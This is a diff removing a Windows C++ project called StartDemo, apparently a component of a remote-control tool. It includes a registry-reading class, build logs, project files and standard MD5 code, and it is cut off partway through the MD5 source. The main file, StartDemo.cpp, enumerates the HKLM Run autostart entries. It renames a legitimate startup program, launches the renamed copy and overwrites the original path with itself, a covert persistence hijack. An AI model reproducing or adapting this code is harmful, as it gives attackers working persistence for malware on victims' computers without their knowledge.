for (size_t i = 0; i < strlen(filePathData); i++)
|
||||
{
|
||||
if (filePathData[i] == 0x22)
|
||||
{
|
||||
filePathData[i] = 0x00;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
for (size_t i = 0; i < strlen(filePathData); i++)
|
||||
{
|
||||
if (i<5)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
if (filePathData[i] == 0x20 &&
|
||||
filePathData[i-1] == 0x65 &&
|
||||
filePathData[i-2] == 0x78 &&
|
||||
filePathData[i-3] == 0x65 &&
|
||||
filePathData[i-4] == 0x2e
|
||||
)
|
||||
{
|
||||
filePathData[i] = 0x00;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
filePath2.append(filePathData);
|
||||
vecKeyPath.push_back(filePath2);
|
||||
//_tprintf(TEXT("(%d) %s %s\n"), i + 1, achValue, szBuffer);
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
//release.
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
@@ -1,34 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
#include <time.h>
|
||||
#include <windows.h>
|
||||
#include <iostream>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include <fstream>
|
||||
#include <queue>
|
||||
#include <vector>
|
||||
using namespace std;
|
||||
|
||||
|
||||
class CRegOperate
|
||||
{
|
||||
public:
|
||||
CRegOperate(HKEY beginKey, TCHAR* path);
|
||||
~CRegOperate();
|
||||
|
||||
private:
|
||||
#define MAX_KEY_LENGTH 255
|
||||
#define MAX_VALUE_NAME 16383
|
||||
|
||||
DWORD dwType;
|
||||
queue<string> keystack;
|
||||
|
||||
//<2F><>ѯ<EFBFBD><D1AF>ֵ
|
||||
void Query(HKEY rootKey, const char* path);
|
||||
public:
|
||||
vector<string> vecKeyData;
|
||||
vector<string> vecKeyPath;
|
||||
};
|
||||
|
@@ -1,8 +0,0 @@
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\vc141.pdb
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\vc141.idb
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\md5file.obj
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\md5.obj
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\cregoperate.obj
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\cl.write.1.tlog
|
@@ -1,15 +0,0 @@
|
||||
CRegOperate.cpp
|
||||
f:\myapp\ccremote\startdemo\startdemo\cregoperate.cpp(159): warning C4101: “vari”: 未引用的局部变量
|
||||
md5.cpp
|
||||
md5file.cpp
|
||||
StartDemo.cpp
|
||||
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(64): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(101): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(78): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(106): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(110): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
正在生成代码...
|
||||
StartDemo.vcxproj -> F:\myapp\CcRemote\StartDemo\Debug\StartDemo.exe
|
Binary file not shown.
@@ -1,2 +0,0 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|F:\myapp\CcRemote\StartDemo\|
|
@@ -1,159 +0,0 @@
|
||||
|
||||
|
||||
#include <time.h>
|
||||
#include <windows.h>
|
||||
#include <iostream>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include <fstream>
|
||||
#include <queue>
|
||||
#include <io.h>
|
||||
#include "CRegOperate.h"
|
||||
#include "md5file.h"
|
||||
|
||||
|
||||
char *GetFilename(char *p)
|
||||
{
|
||||
int x = strlen(p);
|
||||
char ch = '\\';
|
||||
char *q = strrchr(p, ch) + 1;
|
||||
|
||||
return q;
|
||||
}
|
||||
|
||||
|
||||
int _tmain(int argc, _TCHAR* argv[])
|
||||
{
|
||||
//初始化临界区全局原子变量
|
||||
HANDLE MutexHandle = CreateMutex(NULL, FALSE, TEXT("Cc28256")); //创建互斥体. 信号量为0. 有信号的状态.wait可以等待
|
||||
DWORD ErrorCode = 0;
|
||||
ErrorCode = GetLastError();
|
||||
if (ERROR_ALREADY_EXISTS == ErrorCode)
|
||||
{
|
||||
printf("对不起,程序已经启动一份了.这份即将关闭\r\n");
|
||||
CloseHandle(MutexHandle);
|
||||
|
||||
system("pause");
|
||||
}
|
||||
if (NULL == MutexHandle)
|
||||
{
|
||||
return 0; //表示句柄获取失败
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
CHAR path[MAX_PATH] = { 0 };
|
||||
HMODULE hm = GetModuleHandle(NULL);
|
||||
GetModuleFileName(hm, path, sizeof(path));
|
||||
string selfMD5 = getFileMD5(path);
|
||||
|
||||
//32位注册表
|
||||
TCHAR N1path[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
|
||||
|
||||
//HKEY_CURRENT_USER
|
||||
CRegOperate test_reg(HKEY_LOCAL_MACHINE, N1path);
|
||||
//HKEY_CURRENT_USER
|
||||
|
||||
|
||||
string name_ = "update";
|
||||
char name2[MAX_PATH] = { 0 };
|
||||
char name3[MAX_PATH] = { 0 };
|
||||
char szCommandLine[MAX_PATH] = { 0 };
|
||||
bool isMD5Same = false;
|
||||
for (int i = 0; i < test_reg.vecKeyData.size(); i++)
|
||||
{
|
||||
if (_access(test_reg.vecKeyPath[i].c_str(), 0) != 0)
|
||||
{
|
||||
_tprintf(TEXT("%s,%s\n"), test_reg.vecKeyPath[i].c_str(), "不存在");
|
||||
continue;
|
||||
}
|
||||
|
||||
_tprintf(TEXT("%s,%s\n"), test_reg.vecKeyPath[i].c_str(), "存在");
|
||||
if (selfMD5 == getFileMD5(test_reg.vecKeyPath[i].c_str()))
|
||||
{
|
||||
isMD5Same = true;
|
||||
strcpy_s(name3, test_reg.vecKeyData[i].c_str());
|
||||
name_ = name_ + GetFilename(name3);
|
||||
strcpy(GetFilename(name3), name_.c_str());
|
||||
STARTUPINFO si = { sizeof(si) };
|
||||
PROCESS_INFORMATION pi;
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;//指定wShowWindow成员有效
|
||||
si.wShowWindow = TRUE;//此成员设为TRUE的话则显示新建进程的主窗口
|
||||
BOOL bRet = CreateProcess(
|
||||
NULL,//不在此指定可执行文件的文件名
|
||||
name3,//命令行参数
|
||||
NULL,//默认进程安全性
|
||||
NULL,//默认进程安全性
|
||||
FALSE,//指定当前进程内句柄不可以被子进程继承
|
||||
CREATE_NEW_CONSOLE,//为新进程创建一个新的控制台窗口
|
||||
NULL,//使用本进程的环境变量
|
||||
NULL,//使用本进程的驱动器和目录
|
||||
&si,
|
||||
&pi);
|
||||
_tprintf(TEXT("%s\n"), "成功");
|
||||
break;
|
||||
|
||||
}
|
||||
}
|
||||
if (!isMD5Same)
|
||||
{
|
||||
for (int i = 0; i < test_reg.vecKeyData.size(); i++)
|
||||
{
|
||||
|
||||
strcpy_s(name2, test_reg.vecKeyPath[i].c_str());
|
||||
name_ = name_ + GetFilename(name2);
|
||||
strcpy(GetFilename(name2), name_.c_str());
|
||||
|
||||
strcpy_s(name3, test_reg.vecKeyData[i].c_str());
|
||||
name_ = name_ + GetFilename(name3);
|
||||
strcpy(GetFilename(name3), name_.c_str());
|
||||
|
||||
if (!rename(test_reg.vecKeyPath[i].c_str(), name2))
|
||||
{
|
||||
//strcpy_s(szCommandLine, test_reg.vecKeyData[i].c_str());
|
||||
STARTUPINFO si = { sizeof(si) };
|
||||
PROCESS_INFORMATION pi;
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;//指定wShowWindow成员有效
|
||||
si.wShowWindow = TRUE;//此成员设为TRUE的话则显示新建进程的主窗口
|
||||
BOOL bRet = CreateProcess(
|
||||
NULL,//不在此指定可执行文件的文件名
|
||||
name3,//命令行参数
|
||||
NULL,//默认进程安全性
|
||||
NULL,//默认进程安全性
|
||||
FALSE,//指定当前进程内句柄不可以被子进程继承
|
||||
CREATE_NEW_CONSOLE,//为新进程创建一个新的控制台窗口
|
||||
NULL,//使用本进程的环境变量
|
||||
NULL,//使用本进程的驱动器和目录
|
||||
&si,
|
||||
&pi);
|
||||
_tprintf(TEXT("%s\n"), "成功");
|
||||
CopyFile(path, test_reg.vecKeyPath[i].c_str(), false);
|
||||
break;
|
||||
}
|
||||
name_.clear();
|
||||
name_ = "update";
|
||||
}
|
||||
}
|
||||
|
||||
//int _access(const char *pathname, int mode);位于头文件<io.h>中
|
||||
/*
|
||||
返回0存在 -1不存在
|
||||
mode的值和含义如下所示:
|
||||
00——只检查文件是否存在
|
||||
02——写权限
|
||||
04——读权限
|
||||
06——读写权限
|
||||
*/
|
||||
|
||||
//char s[] = "C:\\Program Files\\Realtek\\Audio\\HDA\\RtkAudioService64.exe";
|
||||
//if (_access(s, 0)==0)
|
||||
//{
|
||||
// _tprintf(TEXT("%s,%s\n"), s, "存在");
|
||||
//}
|
||||
//
|
||||
system("pause");
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
Binary file not shown.
@@ -1,175 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>StartDemo</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="CRegOperate.cpp" />
|
||||
<ClCompile Include="md5.cpp" />
|
||||
<ClCompile Include="md5file.cpp" />
|
||||
<ClCompile Include="StartDemo.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="CRegOperate.h" />
|
||||
<ClInclude Include="md5.h" />
|
||||
<ClInclude Include="md5file.h" />
|
||||
<ClInclude Include="md5global.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="StartDemo.rc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
@@ -1,56 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="算法">
|
||||
<UniqueIdentifier>{dc0bb3e5-2f00-43a3-a484-ea9ea63595c0}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="StartDemo.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CRegOperate.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="md5file.cpp">
|
||||
<Filter>算法</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="md5.cpp">
|
||||
<Filter>算法</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="CRegOperate.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="md5.h">
|
||||
<Filter>算法</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="md5file.h">
|
||||
<Filter>算法</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="md5global.h">
|
||||
<Filter>算法</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="StartDemo.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
@@ -1,4 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
@@ -1,314 +0,0 @@
|
||||
/* MD5.C - RSA Data Security, Inc., MD5 message-digest algorithm
|
||||
*/
|
||||
|
||||
/* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
|
||||
rights reserved.
|
||||
|
||||
License to copy and use this software is granted provided that it
|
||||
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
|
||||
Algorithm" in all material mentioning or referencing this software
|
||||
or this function.
|
||||
|
||||
License is also granted to make and use derivative works provided
|
||||
that such works are identified as "derived from the RSA Data
|
||||
Security, Inc. MD5 Message-Digest Algorithm" in all material
|
||||
mentioning or referencing the derived work.
|
||||
|
||||
RSA Data Security, Inc. makes no representations concerning either
|
||||
the merchantability of this software or the suitability of this
|
||||
software for any particular purpose. It is provided "as is"
|
||||
without express or implied warranty of any kind.
|
||||
|
||||
These notices must be retained in any copies of any part of this
|
||||
documentation and/or software.
|
||||
*/
|
||||
|
||||
#include "md5file.h"
|
||||
#include "md5.h"
|
||||
|
||||
/* Constants for MD5Transform routine.
|
||||
*/
|
||||
|
||||
#define S11 7
|
||||
#define S12 12
|
||||
#define S13 17
|
||||
#define S14 22
|
||||
#define S21 5
|
||||
#define S22 9
|
||||
#define S23 14
|
||||
#define S24 20
|
||||
#define S31 4
|
||||
#define S32 11
|
||||
#define S33 16
|
||||
#define S34 23
|
||||
#define S41 6
|
||||
#define S42 10
|
||||
#define S43 15
|
||||
#define S44 21
|
||||
|
||||
static void MD5Transform(UINT4[4], unsigned char[64]);
|
||||
static void Encode(unsigned char *, UINT4 *, unsigned int);
|
||||
static void Decode(UINT4 *, unsigned char *, unsigned int);
|
||||
static void MD5_memcpy(POINTER, POINTER, unsigned int);
|
||||
static void MD5_memset(POINTER, int, unsigned int);
|
||||
|
||||
static unsigned char PADDING[64] = {
|
||||
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
|
||||
};
|
||||
|
||||
/* F, G, H and I are basic MD5 functions.
|
||||
*/
|
||||
#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
|
||||
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
|
||||
#define H(x, y, z) ((x) ^ (y) ^ (z))
|
||||
#define I(x, y, z) ((y) ^ ((x) | (~z)))
|
||||
|
||||
/* ROTATE_LEFT rotates x left n bits.
|
||||
*/
|
||||
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
|
||||
|
||||
/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
|
||||
Rotation is separate from addition to prevent recomputation.
|
||||
*/
|
||||
#define FF(a, b, c, d, x, s, ac) { \
|
||||
(a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
||||
(a) = ROTATE_LEFT ((a), (s)); \
|
||||
(a) += (b); \
|
||||
}
|
||||
#define GG(a, b, c, d, x, s, ac) { \
|
||||
(a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
||||
(a) = ROTATE_LEFT ((a), (s)); \
|
||||
(a) += (b); \
|
||||
}
|
||||
#define HH(a, b, c, d, x, s, ac) { \
|
||||
(a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
||||
(a) = ROTATE_LEFT ((a), (s)); \
|
||||
(a) += (b); \
|
||||
}
|
||||
#define II(a, b, c, d, x, s, ac) { \
|
||||
(a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
||||
(a) = ROTATE_LEFT ((a), (s)); \
|
||||
(a) += (b); \
|
||||
}
|
||||
|
||||
/* MD5 initialization. Begins an MD5 operation, writing a new context.
|
||||
*/
|
||||
void MD5Init(MD5_CTX *context) /* context */
|
||||
{
|
||||
context->count[0] = context->count[1] = 0;
|
||||
/* Load magic initialization constants.
|
||||
*/
|
||||
context->state[0] = 0x67452301;
|
||||
context->state[1] = 0xefcdab89;
|
||||
context->state[2] = 0x98badcfe;
|
||||
context->state[3] = 0x10325476;
|
||||
}
|
||||
|
||||
/* MD5 block update operation. Continues an MD5 message-digest
|
||||
operation, processing another message block, and updating the
|
||||
context.
|
||||
*/
|
||||
void MD5Update(MD5_CTX *context, unsigned char *input, unsigned int inputLen)
|
||||
{
|
||||
unsigned int i, index, partLen;
|
||||
|
||||
/* Compute number of bytes mod 64 */
|
||||
index = (unsigned int)((context->count[0] >> 3) & 0x3F);
|
||||
|
||||
/* Update number of bits */
|
||||
if ((context->count[0] += ((UINT4)inputLen << 3))
|
||||
< ((UINT4)inputLen << 3))
|
||||
context->count[1]++;
|
||||
context->count[1] += ((UINT4)inputLen >> 29);
|
||||
|
||||
partLen = 64 - index;
|
||||
|
||||
/* Transform as many times as possible.
|
||||
*/
|
||||
if (inputLen >= partLen) {
|
||||
MD5_memcpy
|
||||
((POINTER)&context->buffer[index], (POINTER)input, partLen);
|
||||
MD5Transform(context->state, context->buffer);
|
||||
|
||||
for (i = partLen; i + 63 < inputLen; i += 64)
|
||||
MD5Transform(context->state, &input[i]);
|
||||
|
||||
index = 0;
|
||||
}
|
||||
else
|
||||
i = 0;
|
||||
|
||||
/* Buffer remaining input */
|
||||
MD5_memcpy
|
||||
((POINTER)&context->buffer[index], (POINTER)&input[i],
|
||||
inputLen - i);
|
||||
}
|
||||
|
||||
/* MD5 finalization. Ends an MD5 message-digest operation, writing the
|
||||
the message digest and zeroizing the context.
|
||||
*/
|
||||
void MD5Final(unsigned char digest[16], MD5_CTX *context)
|
||||
{
|
||||
unsigned char bits[8];
|
||||
unsigned int index, padLen;
|
||||
|
||||
/* Save number of bits */
|
||||
Encode(bits, context->count, 8);
|
||||
|
||||
/* Pad out to 56 mod 64.
|
||||
*/
|
||||
index = (unsigned int)((context->count[0] >> 3) & 0x3f);
|
||||
padLen = (index < 56) ? (56 - index) : (120 - index);
|
||||
MD5Update(context, PADDING, padLen);
|
||||
|
||||
/* Append length (before padding) */
|
||||
MD5Update(context, bits, 8);
|
||||
|
||||
/* Store state in digest */
|
||||
Encode(digest, context->state, 16);
|
||||
|
||||
/* Zeroize sensitive information.
|
||||
*/
|
||||
MD5_memset((POINTER)context, 0, sizeof(*context));
|
||||
}
|
||||
|
||||
/* MD5 basic transformation. Transforms state based on block.
|
||||
*/
|
||||
static void MD5Transform(UINT4 state[4], unsigned char block[64])
|
||||
{
|
||||
UINT4 a = state[0], b = state[1], c = state[2], d = state[3], x[16];
|
||||
|
||||
Decode(x, block, 64);
|
||||
|
||||
/* Round 1 */
|
||||
FF(a, b, c, d, x[0], S11, 0xd76aa478); /* 1 */
|
||||
FF(d, a, b, c, x[1], S12, 0xe8c7b756); /* 2 */
|
||||
